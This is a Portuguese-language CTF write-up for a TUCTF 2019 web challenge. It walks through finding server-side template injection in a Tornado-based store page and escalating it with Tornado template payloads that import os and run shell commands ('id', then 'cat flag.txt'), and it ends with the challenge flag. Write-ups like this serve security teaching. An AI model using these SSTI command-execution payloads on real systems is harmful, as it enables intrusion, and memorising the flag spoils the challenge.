Rating: 1.0

# And Now, For \
Something Completely \
Different

**Categoria: Web**

# Descrição:
>We all know Black Friday is the time for shopping. Can you find us a flag on this online store?

>chal.tuctf.com:30007
![AndNowForSomethingCompletelyDifferent - Chall](andnow0.png)

# Solução:
Acessando o link:
![AndNowForSomethingCompletelyDifferent - Página Web](andnow1.png)
Analisando o código fonte encontramos um diretório:
![AndNowForSomethingCompletelyDifferent - Diretório encontrado](andnow2.png)
E, acessando o "/welcome/test", temos:
![AndNowForSomethingCompletelyDifferent - Diretório welcome](andnow3.png)
Depois de testar alguns payloads, cheguei ao Server-Side Template Injection (SSTI) com o payload {{7*7}}:
![AndNowForSomethingCompletelyDifferent - SSTI 49](andnow4.png)
E descobri que estava rodando Tornado no servidor, pois em um dos payloads que eu testei me foi retornado um erro com o path do Tornado e assim procurei outros payloads para o Tornado.

Usei: {% import os %}{{ os.popen("id").read() }}
![AndNowForSomethingCompletelyDifferent - SSTI id](andnow5.png)
E assim, obti a flag com o payload: {% import os %}{{ os.popen("cat flag.txt").read() }}
![AndNowForSomethingCompletelyDifferent - SSTI flag](andnow6.png)

# Flag:
```TUCTF{4lw4y5_60_5h0pp1n6_f0r_fl465}```

Original writeup (https://github.com/0x8Layer/CTF-Writeups/blob/master/TU%20CTF%202019/WEB/And%20Now%2C%20For%20%3Cbr%3E%20Something%20Completely%20%3Cbr%3E%20Different/writeup_ptbr.md).